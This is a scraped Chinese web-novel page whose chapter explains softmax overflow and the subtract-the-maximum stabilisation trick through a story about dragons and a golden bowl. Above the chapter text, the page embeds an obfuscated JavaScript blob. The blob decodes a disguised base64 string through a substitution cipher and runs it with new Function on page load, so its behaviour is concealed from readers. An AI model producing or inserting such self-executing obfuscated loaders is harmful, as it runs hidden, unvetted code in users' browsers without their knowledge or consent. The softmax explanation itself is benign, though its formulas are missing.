当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第606章 用故事解释softmax函数的溢出问题(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

用故事解释Softmax函数的溢出问题

故事背景:龙族宴会上的金碗

在一座神秘的龙族王国,龙族每年都会举行一次盛大的宴会,宴会上有一个传统:每条龙要把自己的财富(金币数量)放进一个金碗,然后让智慧长老计算每条龙的“财富占比”,来决定谁是这一年的财富之王。

宴会当天,四条龙分别报出了自己的金币数量:

? 火龙:100万金币

? 冰龙:200万金币

? 雷龙:300万金币

? 风龙:10亿金币

智慧长老准备使用一个古老的计算方法——Softmax规则,将这些财富转换成概率来比较。但他很快发现了一个严重的问题:

金碗炸了!

为什么?因为按照Softmax的计算方法,他需要计算每个金币数量的指数值:

但这些数值实在是太大了,远远超出了王国的计算能力,直接导致金碗崩溃(计算溢出)。

智慧长老陷入了困境,他需要找到一个方法来避免计算崩溃。于是他想到一个聪明的技巧:

“我们不直接放金币,我们可以先让大家的金币数减去最大的金币数!”

于是,他重新计算:

? 火龙的金币数变为 100万 - 10亿 = -9.99亿

? 冰龙的金币数变为 200万 - 10亿 = -9.98亿

? 雷龙的金币数变为 300万 - 10亿 = -9.97亿

? 风龙的金币数变为 10亿 - 10亿 = 0

然后,他计算:

现在,所有的指数值都变得很小,不会再溢出,金碗终于能正常计算了!

最终,风龙的财富占比几乎是 100%,其他三条龙的财富占比接近 0,宴会得出了正确的结论。

这个方法被称为 Softmax的数值稳定性技巧,即 在计算前减去最大值,防止指数运算导致溢出。

用比喻解释Softmax的溢出问题

比喻1:水池溢出

想象你有一个大水池,你往里面倒水:

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间